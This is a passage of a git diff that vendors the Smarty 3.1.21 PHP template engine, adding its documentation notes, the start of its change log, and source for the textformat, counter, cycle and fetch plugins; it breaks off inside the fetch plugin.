+{/function} + +{$menu = ['item1','item2','item3' => ['item3-1','item3-2','item3-3' => + ['item3-3-1','item3-3-2']],'item4']} + +{call name=menu data=$menu} + + +Generated output: + * item1 + * item2 + * item3 + o item3-1 + o item3-2 + o item3-3 + + item3-3-1 + + item3-3-2 + * item4 + +The function tag itself must have the "name" attribute. This name is the tag +name when calling the function. The function tag may have any number of +additional attributes. These will be default settings for local variables. + +New {nocache} block function: +{nocache}...{/nocache} will declare a section of the template to be non-cached +when template caching is enabled. + +New nocache attribute: +You can declare variable/function output as non-cached with the nocache attribute. +Examples: + +{$foo nocache=true} +{$foo nocache} /* same */ + +{foo bar="baz" nocache=true} +{foo bar="baz" nocache} /* same */ + +{time() nocache=true} +{time() nocache} /* same */ + +Or you can also assign the variable in your script as nocache: +$smarty->assign('foo',$something,true); // third param is nocache setting +{$foo} /* non-cached */ + +$smarty.current_dir returns the directory name of the current template. + +You can use strings directly as templates with the "string" resource type. +Examples: +$smarty->display('string:This is my template, {$foo}!'); // php +{include file="string:This is my template, {$foo}!"} // template + + + +VARIABLE SCOPE / VARIABLE STORAGE +================================= + +In Smarty 2, all assigned variables were stored within the Smarty object. +Therefore, all variables assigned in PHP were accessible by all subsequent +fetch and display template calls. + +In Smarty 3, we have the choice to assign variables to the main Smarty object, +to user-created data objects, and to user-created template objects. +These objects can be chained. The object at the end of a chain can access all +variables belonging to that template and all variables within the parent objects. +The Smarty object can only be the root of a chain, but a chain can be isolated +from the Smarty object. + +All known Smarty assignment interfaces will work on the data and template objects. + +Besides the above mentioned objects, there is also a special storage area for +global variables. + +A Smarty data object can be created as follows: +$data = $smarty->createData(); // create root data object +$data->assign('foo','bar'); // assign variables as usual +$data->config_load('my.conf'); // load config file + +$data= $smarty->createData($smarty); // create data object having a parent link to +the Smarty object + +$data2= $smarty->createData($data); // create data object having a parent link to +the $data data object + +A template object can be created by using the createTemplate method. It has the +same parameter assignments as the fetch() or display() method. +Function definition: +function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null) + +The first parameter can be a template name, a smarty object or a data object. + +Examples: +$tpl = $smarty->createTemplate('mytpl.tpl'); // create template object not linked to any parent +$tpl->assign('foo','bar'); // directly assign variables +$tpl->config_load('my.conf'); // load config file + +$tpl = $smarty->createTemplate('mytpl.tpl',$smarty); // create template having a parent link to the Smarty object +$tpl = $smarty->createTemplate('mytpl.tpl',$data); // create template having a parent link to the $data object + +The standard fetch() and display() methods will implicitly create a template object. +If the $parent parameter is not specified in these method calls, the template object +is will link back to the Smarty object as it's parent. + +If a template is called by an {include...} tag from another template, the +subtemplate links back to the calling template as it's parent. + +All variables assigned locally or from a parent template are accessible. If the +template creates or modifies a variable by using the {assign var=foo...} or +{$foo=...} tags, these new values are only known locally (local scope). When the +template exits, none of the new variables or modifications can be seen in the +parent template(s). This is same behavior as in Smarty 2. + +With Smarty 3, we can assign variables with a scope attribute which allows the +availablility of these new variables or modifications globally (ie in the parent +templates.) + +Possible scopes are local, parent, root and global. +Examples: +{assign var=foo value='bar'} // no scope is specified, the default 'local' +{$foo='bar'} // same, local scope +{assign var=foo value='bar' scope='local'} // same, local scope + +{assign var=foo value='bar' scope='parent'} // Values will be available to the parent object +{$foo='bar' scope='parent'} // (normally the calling template) + +{assign var=foo value='bar' scope='root'} // Values will be exported up to the root object, so they can +{$foo='bar' scope='root'} // be seen from all templates using the same root. + +{assign var=foo value='bar' scope='global'} // Values will be exported to global variable storage, +{$foo='bar' scope='global'} // they are available to any and all templates. + + +The scope attribute can also be attached to the {include...} tag. In this case, +the specified scope will be the default scope for all assignments within the +included template. + + +PLUGINS +======= + +Smarty3 are following the same coding rules as in Smarty2. +The only difference is that the template object is passed as additional third parameter. + +smarty_plugintype_name (array $params, object $smarty, object $template) + +The Smarty 2 plugins are still compatible as long as they do not make use of specific Smarty2 internals. + + +TEMPLATE INHERITANCE: +===================== + +With template inheritance you can define blocks, which are areas that can be +overriden by child templates, so your templates could look like this: + +parent.tpl: + + + {block name='title'}My site name{/block} + + +

{block name='page-title'}Default page title{/block}

+
+ {block name='content'} + Default content + {/block} +
+ + + +child.tpl: +{extends file='parent.tpl'} +{block name='title'} +Child title +{/block} + +grandchild.tpl: +{extends file='child.tpl'} +{block name='title'}Home - {$smarty.block.parent}{/block} +{block name='page-title'}My home{/block} +{block name='content'} + {foreach $images as $img} + {$img.description} + {/foreach} +{/block} + +We redefined all the blocks here, however in the title block we used {$smarty.block.parent}, +which tells Smarty to insert the default content from the parent template in its place. +The content block was overriden to display the image files, and page-title has also be +overriden to display a completely different title. + +If we render grandchild.tpl we will get this: + + + Home - Child title + + +

My home

+
+ image + image + image +
+ + + +NOTE: In the child templates everything outside the {extends} or {block} tag sections +is ignored. + +The inheritance tree can be as big as you want (meaning you can extend a file that +extends another one that extends another one and so on..), but be aware that all files +have to be checked for modifications at runtime so the more inheritance the more overhead you add. + +Instead of defining the parent/child relationships with the {extends} tag in the child template you +can use the resource as follow: + +$smarty->display('extends:parent.tpl|child.tpl|grandchild.tpl'); + +Child {block} tags may optionally have a append or prepend attribute. In this case the parent block content +is appended or prepended to the child block content. + +{block name='title' append} My title {/block} + + +PHP STREAMS: +============ + +(see online documentation) + +VARIBLE FILTERS: +================ + +(see online documentation) + + +STATIC CLASS ACCESS AND NAMESPACE SUPPORT +========================================= + +You can register a class with optional namespace for the use in the template like: + +$smarty->register->templateClass('foo','name\name2\myclass'); + +In the template you can use it like this: +{foo::method()} etc. + + +======================= + +Please look through it and send any questions/suggestions/etc to the forums. + +http://www.phpinsider.com/smarty-forum/viewtopic.php?t=14168 + +Monte and Uwe diff --git a/extlib/Smarty-3.1.21/SMARTY_2_BC_NOTES.txt b/extlib/Smarty-3.1.21/SMARTY_2_BC_NOTES.txt new file mode 100755 index 00000000..79a2cb1b --- /dev/null +++ b/extlib/Smarty-3.1.21/SMARTY_2_BC_NOTES.txt @@ -0,0 +1,109 @@ += Known incompatibilities with Smarty 2 = + +== Syntax == + +Smarty 3 API has a new syntax. Much of the Smarty 2 syntax is supported +by a wrapper but deprecated. See the README that comes with Smarty 3 for more +information. + +The {$array|@mod} syntax has always been a bit confusing, where an "@" is required +to apply a modifier to an array instead of the individual elements. Normally you +always want the modifier to apply to the variable regardless of its type. In Smarty 3, +{$array|mod} and {$array|@mod} behave identical. It is safe to drop the "@" and the +modifier will still apply to the array. If you really want the modifier to apply to +each array element, you must loop the array in-template, or use a custom modifier that +supports array iteration. Most smarty functions already escape values where necessary +such as {html_options} + +== PHP Version == +Smarty 3 is PHP 5 only. It will not work with PHP 4. + +== {php} Tag == +The {php} tag is disabled by default. The use of {php} tags is +deprecated. It can be enabled with $smarty->allow_php_tag=true. + +But if you scatter PHP code which belongs together into several +{php} tags it may not work any longer. + +== Delimiters and whitespace == +Delimiters surrounded by whitespace are no longer treated as Smarty tags. +Therefore, { foo } will not compile as a tag, you must use {foo}. This change +Makes Javascript/CSS easier to work with, eliminating the need for {literal}. +This can be disabled by setting $smarty->auto_literal = false; + +== Unquoted Strings == +Smarty 2 was a bit more forgiving (and ambiguous) when it comes to unquoted strings +in parameters. Smarty3 is more restrictive. You can still pass strings without quotes +so long as they contain no special characters. (anything outside of A-Za-z0-9_) + +For example filename strings must be quoted + +{include file='path/foo.tpl'} + + +== Extending the Smarty class == +Smarty 3 makes use of the __construct method for initialization. If you are extending +the Smarty class, its constructor is not called implicitly if the your child class defines +its own constructor. In order to run Smarty's constructor, a call to parent::__construct() +within your child constructor is required. + + +class MySmarty extends Smarty { + function __construct() { + parent::__construct(); + + // your initialization code goes here + + } +} + + +== Autoloader == +Smarty 3 does register its own autoloader with spl_autoload_register. If your code has +an existing __autoload function then this function must be explicitly registered on +the __autoload stack. See http://us3.php.net/manual/en/function.spl-autoload-register.php +for further details. + +== Plugin Filenames == +Smarty 3 optionally supports the PHP spl_autoloader. The autoloader requires filenames +to be lower case. Because of this, Smarty plugin file names must also be lowercase. +In Smarty 2, mixed case file names did work. + +== Scope of Special Smarty Variables == +In Smarty 2 the special Smarty variables $smarty.section... and $smarty.foreach... +had global scope. If you had loops with the same name in subtemplates you could accidentally +overwrite values of parent template. + +In Smarty 3 these special Smarty variable have only local scope in the template which +is defining the loop. If you need their value in a subtemplate you have to pass them +as parameter. + +{include file='path/foo.tpl' index=$smarty.section.foo.index} + + +== SMARTY_RESOURCE_CHAR_SET == +Smarty 3 sets the constant SMARTY_RESOURCE_CHAR_SET to utf-8 as default template charset. +This is now used also on modifiers like escape as default charset. If your templates use +other charsets make sure that you define the constant accordingly. Otherwise you may not +get any output. + +== newline at {if} tags == +A \n was added to the compiled code of the {if},{else},{elseif},{/if} tags to get output of newlines as expected by the template source. +If one of the {if} tags is at the line end you will now get a newline in the HTML output. + +== trigger_error() == +The API function trigger_error() has been removed because it did just map to PHP trigger_error. +However it's still included in the Smarty2 API wrapper. + +== Smarty constants == +The constants +SMARTY_PHP_PASSTHRU +SMARTY_PHP_QUOTE +SMARTY_PHP_REMOVE +SMARTY_PHP_ALLOW +have been replaced with class constants +Smarty::PHP_PASSTHRU +Smarty::PHP_QUOTE +Smarty::PHP_REMOVE +Smarty::PHP_ALLOW + diff --git a/extlib/Smarty-3.1.21/SMARTY_3.0_BC_NOTES.txt b/extlib/Smarty-3.1.21/SMARTY_3.0_BC_NOTES.txt new file mode 100755 index 00000000..fd8b540c --- /dev/null +++ b/extlib/Smarty-3.1.21/SMARTY_3.0_BC_NOTES.txt @@ -0,0 +1,24 @@ +== Smarty2 backward compatibility == +All Smarty2 specific API functions and deprecated functionallity has been moved +to the SmartyBC class. + +== {php} Tag == +The {php} tag is no longer available in the standard Smarty calls. +The use of {php} tags is deprecated and only available in the SmartyBC class. + +== {include_php} Tag == +The {include_php} tag is no longer available in the standard Smarty calls. +The use of {include_php} tags is deprecated and only available in the SmartyBC class. + +== php template resource == +The support of the php template resource is removed. + +== $cache_dir, $compile_dir, $config_dir, $template_dir access == +The mentioned properties can't be accessed directly any longer. You must use +corresponding getter/setters like addConfigDir(), setConfigDir(), getConfigDir() + +== obsolete Smarty class properties == +The following no longer used properties are removed: +$allow_php_tag +$allow_php_template +$deprecation_notices \ No newline at end of file diff --git a/extlib/Smarty-3.1.21/SMARTY_3.1_NOTES.txt b/extlib/Smarty-3.1.21/SMARTY_3.1_NOTES.txt new file mode 100755 index 00000000..57709f0d --- /dev/null +++ b/extlib/Smarty-3.1.21/SMARTY_3.1_NOTES.txt @@ -0,0 +1,306 @@ +Smarty 3.1 Notes +================ + +Smarty 3.1 is a departure from 2.0 compatibility. Most notably, all +backward compatibility has been moved to a separate class file named +SmartyBC.class.php. If you require compatibility with 2.0, you will +need to use this class. + +Some differences from 3.0 are also present. 3.1 begins the journey of +requiring setters/getters for property access. So far this is only +implemented on the five directory properties: template_dir, +plugins_dir, configs_dir, compile_dir and cache_dir. These properties +are now protected, it is required to use the setters/getters instead. +That said, direct property access will still work, however slightly +slower since they will now fall through __set() and __get() and in +turn passed through the setter/getter methods. 3.2 will exhibit a full +list of setter/getter methods for all (currently) public properties, +so code-completion in your IDE will work as expected. + +There is absolutely no PHP allowed in templates any more. All +deprecated features of Smarty 2.0 are gone. Again, use the SmartyBC +class if you need any backward compatibility. + +Internal Changes + + Full UTF-8 Compatibility + +The plugins shipped with Smarty 3.1 have been rewritten to fully +support UTF-8 strings if Multibyte String is available. Without +MBString UTF-8 cannot be handled properly. For those rare cases where +templates themselves have to juggle encodings, the new modifiers +to_charset and from_charset may come in handy. + + Plugin API and Performance + +All Plugins (modifiers, functions, blocks, resources, +default_template_handlers, etc) are now receiving the +Smarty_Internal_Template instance, where they were supplied with the +Smarty instance in Smarty 3.0. *. As The Smarty_Internal_Template +mimics the behavior of Smarty, this API simplification should not +require any changes to custom plugins. + +The plugins shipped with Smarty 3.1 have been rewritten for better +performance. Most notably {html_select_date} and {html_select_time} +have been improved vastly. Performance aside, plugins have also been +reviewed and generalized in their API. {html_select_date} and +{html_select_time} now share almost all available options. + +The escape modifier now knows the $double_encode option, which will +prevent entities from being encoded again. + +The capitalize modifier now know the $lc_rest option, which makes sure +all letters following a captial letter are lower-cased. + +The count_sentences modifier now accepts (.?!) as +legitimate endings of a sentence - previously only (.) was +accepted + +The new unescape modifier is there to reverse the effects of the +escape modifier. This applies to the escape formats html, htmlall and +entity. + + default_template_handler_func + +The invocation of $smarty->$default_template_handler_func had to be +altered. Instead of a Smarty_Internal_Template, the fifth argument is +now provided with the Smarty instance. New footprint: + + +/** + * Default Template Handler + * + * called when Smarty's file: resource is unable to load a requested file + * + * @param string $type resource type (e.g. "file", "string", "eval", "resource") + * @param string $name resource name (e.g. "foo/bar.tpl") + * @param string &$content template's content + * @param integer &$modified template's modification time + * @param Smarty $smarty Smarty instance + * @return string|boolean path to file or boolean true if $content and $modified + * have been filled, boolean false if no default template + * could be loaded + */ +function default_template_handler_func($type, $name, &$content, &$modified, Smarty $smarty) { + if (false) { + // return corrected filepath + return "/tmp/some/foobar.tpl"; + } elseif (false) { + // return a template directly + $content = "the template source"; + $modified = time(); + return true; + } else { + // tell smarty that we failed + return false; + } +} + + Stuff done to the compiler + +Many performance improvements have happened internally. One notable +improvement is that all compiled templates are now handled as PHP +functions. This speeds up repeated templates tremendously, as each one +calls an (in-memory) PHP function instead of performing another file +include/scan. + +New Features + + Template syntax + + {block}..{/block} + +The {block} tag has a new hide option flag. It does suppress the block +content if no corresponding child block exists. +EXAMPLE: +parent.tpl +{block name=body hide} child content "{$smarty.block.child}" was +inserted {block} +In the above example the whole block will be suppressed if no child +block "body" is existing. + + {setfilter}..{/setfilter} + +The new {setfilter} block tag allows the definition of filters which +run on variable output. +SYNTAX: +{setfilter filter1|filter2|filter3....} +Smarty3 will lookup up matching filters in the following search order: +1. varibale filter plugin in plugins_dir. +2. a valid modifier. A modifier specification will also accept +additional parameter like filter2:'foo' +3. a PHP function +{/setfilter} will turn previous filter setting off again. +{setfilter} tags can be nested. +EXAMPLE: +{setfilter filter1} + {$foo} + {setfilter filter2} + {$bar} + {/setfilter} + {$buh} +{/setfilter} +{$blar} +In the above example filter1 will run on the output of $foo, filter2 +on $bar, filter1 again on $buh and no filter on $blar. +NOTES: +- {$foo nofilter} will suppress the filters +- These filters will run in addition to filters defined by +registerFilter('variable',...), autoLoadFilter('variable',...) and +defined default modifier. +- {setfilter} will effect only the current template, not included +subtemplates. + + Resource API + +Smarty 3.1 features a new approach to resource management. The +Smarty_Resource API allows simple, yet powerful integration of custom +resources for templates and configuration files. It offers simple +functions for loading data from a custom resource (e.g. database) as +well as define new template types adhering to the special +non-compiling (e,g, plain php) and non-compile-caching (e.g. eval: +resource type) resources. + +See demo/plugins/resource.mysql.php for an example custom database +resource. + +Note that old-fashioned registration of callbacks for resource +management has been deprecated but is still possible with SmartyBC. + + CacheResource API + +In line with the Resource API, the CacheResource API offers a more +comfortable handling of output-cache data. With the +Smarty_CacheResource_Custom accessing databases is made simple. With +the introduction of Smarty_CacheResource_KeyValueStore the +implementation of resources like memcache or APC became a no-brainer; +simple hash-based storage systems are now supporting hierarchical +output-caches. + +See demo/plugins/cacheresource.mysql.php for an example custom +database CacheResource. +See demo/plugins/cacheresource.memcache.php for an example custom +memcache CacheResource using the KeyValueStore helper. + +Note that old-fashioned registration of $cache_handler is not possible +anymore. As the functionality had not been ported to Smarty 3.0.x +properly, it has been dropped from 3.1 completely. + +Locking facilities have been implemented to avoid concurrent cache +generation. Enable cache locking by setting +$smarty->cache_locking = true; + + Relative Paths in Templates (File-Resource) + +As of Smarty 3.1 {include file="../foo.tpl"} and {include +file="./foo.tpl"} will resolve relative to the template they're in. +Relative paths are available with {include file="..."} and +{extends file="..."}. As $smarty->fetch('../foo.tpl') and +$smarty->fetch('./foo.tpl') cannot be relative to a template, an +exception is thrown. + + Addressing a specific $template_dir + +Smarty 3.1 introduces the $template_dir index notation. +$smarty->fetch('[foo]bar.tpl') and {include file="[foo]bar.tpl"} +require the template bar.tpl to be loaded from $template_dir['foo']; +Smarty::setTemplateDir() and Smarty::addTemplateDir() offer ways to +define indexes along with the actual directories. + + Mixing Resources in extends-Resource + +Taking the php extends: template resource one step further, it is now +possible to mix resources within an extends: call like +$smarty->fetch("extends:file:foo.tpl|db:bar.tpl"); + +To make eval: and string: resources available to the inheritance +chain, eval:base64:TPL_STRING and eval:urlencode:TPL_STRING have been +introduced. Supplying the base64 or urlencode flags will trigger +decoding the TPL_STRING in with either base64_decode() or urldecode(). + + extends-Resource in template inheritance + +Template based inheritance may now inherit from php's extends: +resource like {extends file="extends:foo.tpl|db:bar.tpl"}. + + New Smarty property escape_html + +$smarty->escape_html = true will autoescape all template variable +output by calling htmlspecialchars({$output}, ENT_QUOTES, +SMARTY_RESOURCE_CHAR_SET). +NOTE: +This is a compile time option. If you change the setting you must make +sure that the templates get recompiled. + + New option at Smarty property compile_check + +The automatic recompilation of modified templates can now be +controlled by the following settings: +$smarty->compile_check = COMPILECHECK_OFF (false) - template files +will not be checked +$smarty->compile_check = COMPILECHECK_ON (true) - template files will +always be checked +$smarty->compile_check = COMPILECHECK_CACHEMISS - template files will +be checked if caching is enabled and there is no existing cache file +or it has expired + + Automatic recompilation on Smarty version change + +Templates will now be automatically recompiled on Smarty version +changes to avoide incompatibillities in the compiled code. Compiled +template checked against the current setting of the SMARTY_VERSION +constant. + + default_config_handler_func() + +Analogous to the default_template_handler_func() +default_config_handler_func() has been introduced. + + default_plugin_handler_func() + +An optional default_plugin_handler_func() can be defined which gets called +by the compiler on tags which can't be resolved internally or by plugins. +The default_plugin_handler() can map tags to plugins on the fly. + +New getters/setters + +The following setters/getters will be part of the official +documentation, and will be strongly recommended. Direct property +access will still work for the foreseeable future... it will be +transparently routed through the setters/getters, and consequently a +bit slower. + +array|string getTemplateDir( [string $index] ) +replaces $smarty->template_dir; and $smarty->template_dir[$index]; +Smarty setTemplateDir( array|string $path ) +replaces $smarty->template_dir = "foo"; and $smarty->template_dir = +array("foo", "bar"); +Smarty addTemplateDir( array|string $path, [string $index]) +replaces $smarty->template_dir[] = "bar"; and +$smarty->template_dir[$index] = "bar"; + +array|string getConfigDir( [string $index] ) +replaces $smarty->config_dir; and $smarty->config_dir[$index]; +Smarty setConfigDir( array|string $path ) +replaces $smarty->config_dir = "foo"; and $smarty->config_dir = +array("foo", "bar"); +Smarty addConfigDir( array|string $path, [string $index]) +replaces $smarty->config_dir[] = "bar"; and +$smarty->config_dir[$index] = "bar"; + +array getPluginsDir() +replaces $smarty->plugins_dir; +Smarty setPluginsDir( array|string $path ) +replaces $smarty->plugins_dir = "foo"; +Smarty addPluginsDir( array|string $path ) +replaces $smarty->plugins_dir[] = "bar"; + +string getCompileDir() +replaces $smarty->compile_dir; +Smarty setCompileDir( string $path ) +replaces $smarty->compile_dir = "foo"; + +string getCacheDir() +replaces $smarty->cache_dir; +Smarty setCacheDir( string $path ) +replaces $smarty->cache_dir; diff --git a/extlib/Smarty-3.1.21/change_log.txt b/extlib/Smarty-3.1.21/change_log.txt new file mode 100755 index 00000000..a0161659 --- /dev/null +++ b/extlib/Smarty-3.1.21/change_log.txt @@ -0,0 +1,2415 @@ + ===== 3.1.22-dev ===== (xx.xx.2014) + ===== 3.1.21 ===== (18.10.2014) + 18.10.2014 + - composer moved to github + - add COMPOSER_RELEASE_NOTES + + 17.10.2014 + - bugfix on $php_handling security and optimization of smarty_internal_parsetree (Thue Kristensen) + + 16.10.2014 + - bugfix composer.json update + + 15.10.2014 + - bugfix calling a new created cache file with fetch() and Smarty::CACHING_LIFETIME_SAVED multiple times did fail (forum 22350) + + 14.10.2014 + - bugfix any tag placed within " diff --git a/extlib/Smarty-3.1.21/libs/plugins/block.textformat.php b/extlib/Smarty-3.1.21/libs/plugins/block.textformat.php new file mode 100755 index 00000000..abf54493 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/block.textformat.php @@ -0,0 +1,110 @@ + + * Name: textformat
+ * Purpose: format text a certain way with preset styles + * or custom wrap/indent settings
+ * Params: + *
+ * - style         - string (email)
+ * - indent        - integer (0)
+ * - wrap          - integer (80)
+ * - wrap_char     - string ("\n")
+ * - indent_char   - string (" ")
+ * - wrap_boundary - boolean (true)
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.textformat.php {textformat} + * (Smarty online manual) + * + * @param array $params parameters + * @param string $content contents of the block + * @param Smarty_Internal_Template $template template object + * @param boolean &$repeat repeat flag + * + * @return string content re-formatted + * @author Monte Ohrt + */ +function smarty_block_textformat($params, $content, $template, &$repeat) +{ + if (is_null($content)) { + return; + } + + $style = null; + $indent = 0; + $indent_first = 0; + $indent_char = ' '; + $wrap = 80; + $wrap_char = "\n"; + $wrap_cut = false; + $assign = null; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'style': + case 'indent_char': + case 'wrap_char': + case 'assign': + $$_key = (string) $_val; + break; + + case 'indent': + case 'indent_first': + case 'wrap': + $$_key = (int) $_val; + break; + + case 'wrap_cut': + $$_key = (bool) $_val; + break; + + default: + trigger_error("textformat: unknown attribute '$_key'"); + } + } + + if ($style == 'email') { + $wrap = 72; + } + // split into paragraphs + $_paragraphs = preg_split('![\r\n]{2}!', $content); + + foreach ($_paragraphs as &$_paragraph) { + if (!$_paragraph) { + continue; + } + // convert mult. spaces & special chars to single space + $_paragraph = preg_replace(array('!\s+!' . Smarty::$_UTF8_MODIFIER, '!(^\s+)|(\s+$)!' . Smarty::$_UTF8_MODIFIER), array(' ', ''), $_paragraph); + // indent first line + if ($indent_first > 0) { + $_paragraph = str_repeat($indent_char, $indent_first) . $_paragraph; + } + // wordwrap sentences + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php'); + $_paragraph = smarty_mb_wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } else { + $_paragraph = wordwrap($_paragraph, $wrap - $indent, $wrap_char, $wrap_cut); + } + // indent lines + if ($indent > 0) { + $_paragraph = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraph); + } + } + $_output = implode($wrap_char . $wrap_char, $_paragraphs); + + if ($assign) { + $template->assign($assign, $_output); + } else { + return $_output; + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.counter.php b/extlib/Smarty-3.1.21/libs/plugins/function.counter.php new file mode 100755 index 00000000..4da85a14 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.counter.php @@ -0,0 +1,78 @@ + + * Name: counter
+ * Purpose: print out a counter value + * + * @author Monte Ohrt + * @link http://www.smarty.net/manual/en/language.function.counter.php {counter} + * (Smarty online manual) + * + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * + * @return string|null + */ +function smarty_function_counter($params, $template) +{ + static $counters = array(); + + $name = (isset($params['name'])) ? $params['name'] : 'default'; + if (!isset($counters[$name])) { + $counters[$name] = array( + 'start' => 1, + 'skip' => 1, + 'direction' => 'up', + 'count' => 1 + ); + } + $counter =& $counters[$name]; + + if (isset($params['start'])) { + $counter['start'] = $counter['count'] = (int) $params['start']; + } + + if (!empty($params['assign'])) { + $counter['assign'] = $params['assign']; + } + + if (isset($counter['assign'])) { + $template->assign($counter['assign'], $counter['count']); + } + + if (isset($params['print'])) { + $print = (bool) $params['print']; + } else { + $print = empty($counter['assign']); + } + + if ($print) { + $retval = $counter['count']; + } else { + $retval = null; + } + + if (isset($params['skip'])) { + $counter['skip'] = $params['skip']; + } + + if (isset($params['direction'])) { + $counter['direction'] = $params['direction']; + } + + if ($counter['direction'] == "down") { + $counter['count'] -= $counter['skip']; + } else { + $counter['count'] += $counter['skip']; + } + + return $retval; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.cycle.php b/extlib/Smarty-3.1.21/libs/plugins/function.cycle.php new file mode 100755 index 00000000..8dc5cd9d --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.cycle.php @@ -0,0 +1,107 @@ + + * Name: cycle
+ * Date: May 3, 2002
+ * Purpose: cycle through given values
+ * Params: + *
+ * - name      - name of cycle (optional)
+ * - values    - comma separated list of values to cycle, or an array of values to cycle
+ *               (this can be left out for subsequent calls)
+ * - reset     - boolean - resets given var to true
+ * - print     - boolean - print var or not. default is true
+ * - advance   - boolean - whether or not to advance the cycle
+ * - delimiter - the value delimiter, default is ","
+ * - assign    - boolean, assigns to template var instead of printed.
+ * 
+ * Examples:
+ *
+ * {cycle values="#eeeeee,#d0d0d0d"}
+ * {cycle name=row values="one,two,three" reset=true}
+ * {cycle name=row}
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.cycle.php {cycle} + * (Smarty online manual) + * @author Monte Ohrt + * @author credit to Mark Priatel + * @author credit to Gerard + * @author credit to Jason Sweat + * @version 1.3 + * + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * + * @return string|null + */ + +function smarty_function_cycle($params, $template) +{ + static $cycle_vars; + + $name = (empty($params['name'])) ? 'default' : $params['name']; + $print = (isset($params['print'])) ? (bool) $params['print'] : true; + $advance = (isset($params['advance'])) ? (bool) $params['advance'] : true; + $reset = (isset($params['reset'])) ? (bool) $params['reset'] : false; + + if (!isset($params['values'])) { + if (!isset($cycle_vars[$name]['values'])) { + trigger_error("cycle: missing 'values' parameter"); + + return; + } + } else { + if (isset($cycle_vars[$name]['values']) + && $cycle_vars[$name]['values'] != $params['values'] + ) { + $cycle_vars[$name]['index'] = 0; + } + $cycle_vars[$name]['values'] = $params['values']; + } + + if (isset($params['delimiter'])) { + $cycle_vars[$name]['delimiter'] = $params['delimiter']; + } elseif (!isset($cycle_vars[$name]['delimiter'])) { + $cycle_vars[$name]['delimiter'] = ','; + } + + if (is_array($cycle_vars[$name]['values'])) { + $cycle_array = $cycle_vars[$name]['values']; + } else { + $cycle_array = explode($cycle_vars[$name]['delimiter'], $cycle_vars[$name]['values']); + } + + if (!isset($cycle_vars[$name]['index']) || $reset) { + $cycle_vars[$name]['index'] = 0; + } + + if (isset($params['assign'])) { + $print = false; + $template->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]); + } + + if ($print) { + $retval = $cycle_array[$cycle_vars[$name]['index']]; + } else { + $retval = null; + } + + if ($advance) { + if ($cycle_vars[$name]['index'] >= count($cycle_array) - 1) { + $cycle_vars[$name]['index'] = 0; + } else { + $cycle_vars[$name]['index'] ++; + } + } + + return $retval; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.fetch.php b/extlib/Smarty-3.1.21/libs/plugins/function.fetch.php new file mode 100755 index 00000000..3506d4a8 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.fetch.php @@ -0,0 +1,221 @@ + + * Name: fetch
+ * Purpose: fetch file, web or ftp data and display results + * + * @link http://www.smarty.net/manual/en/language.function.fetch.php {fetch} + * (Smarty online manual) + * @author Monte Ohrt + * + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * + * @throws SmartyException + * @return string|null if the assign parameter is passed, Smarty assigns the result to a template variable + */ +function smarty_function_fetch($params, $template) +{ + if (empty($params['file'])) { + trigger_error("[plugin] fetch parameter 'file' cannot be empty", E_USER_NOTICE); + + return; + } + + // strip file protocol + if (stripos($params['file'], 'file://') === 0) { + $params['file'] = substr($params['file'], 7); + } + + $protocol = strpos($params['file'], '://'); + if ($protocol !== false) { + $protocol = strtolower(substr($params['file'], 0, $protocol)); + } + + if (isset($template->smarty->security_policy)) { + if ($protocol) { + // remote resource (or php stream, …) + if (!$template->smarty->security_policy->isTrustedUri($params['file'])) { + return; + } + } else { + // local file + if (!$template->smarty->security_policy->isTrustedResourceDir($params['file'])) { + return; + } + } + } + + $content = ''; + if ($protocol == 'http') { + // http fetch + if ($uri_parts = parse_url($params['file'])) { + // set defaults + $host = $server_name = $uri_parts['host']; + $timeout = 30; + $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; + $agent = "Smarty Template Engine " . Smarty::SMARTY_VERSION; + $referer = ""; + $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/'; + $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : ''; + $_is_proxy = false; + if (empty($uri_parts['port'])) { + $port = 80; + } else { + $port = $uri_parts['port']; + } + if (!empty($uri_parts['user'])) { + $user = $uri_parts['user']; + } + if (!empty($uri_parts['pass'])) { + $pass = $uri_parts['pass']; + } + // loop through parameters, setup headers + foreach ($params as $param_key => $param_value) { + switch ($param_key) { + case "file": + case "assign": + case "assign_headers": + break; + case "user": + if (!empty($param_value)) { + $user = $param_value; + } + break; + case "pass": + if (!empty($param_value)) { + $pass = $param_value; + } + break; + case "accept": + if (!empty($param_value)) { + $accept = $param_value; + } + break; + case "header": + if (!empty($param_value)) { + if (!preg_match('![\w\d-]+: .+!', $param_value)) { + trigger_error("[plugin] invalid header format '" . $param_value . "'", E_USER_NOTICE); + + return; + } else { + $extra_headers[] = $param_value; + } + } + break; + case "proxy_host": + if (!empty($param_value)) { + $proxy_host = $param_value; + } + break; + case "proxy_port": + if (!preg_match('!\D!', $param_value)) { + $proxy_port = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '" . $param_key . "'", E_USER_NOTICE); + + return; + } + break; + case "agent": + if (!empty($param_value)) { + $agent = $param_value; + } + break; + case "referer": + if (!empty($param_value)) { + $referer = $param_value; + } + break; + case "timeout": + if (!preg_match('!\D!', $param_value)) { + $timeout = (int) $param_value; + } else { + trigger_error("[plugin] invalid value for attribute '" . $param_key . "'", E_USER_NOTICE); + + return; + } + break; + default: + trigger_error("[plugin] unrecognized attribute '" . $param_key . "'", E_USER_NOTICE); + + return; + } + } + if (!empty($proxy_host) && !empty($proxy_port)) { + $_is_proxy = true; + $fp = fsockopen($proxy_host, $proxy_port, $errno, 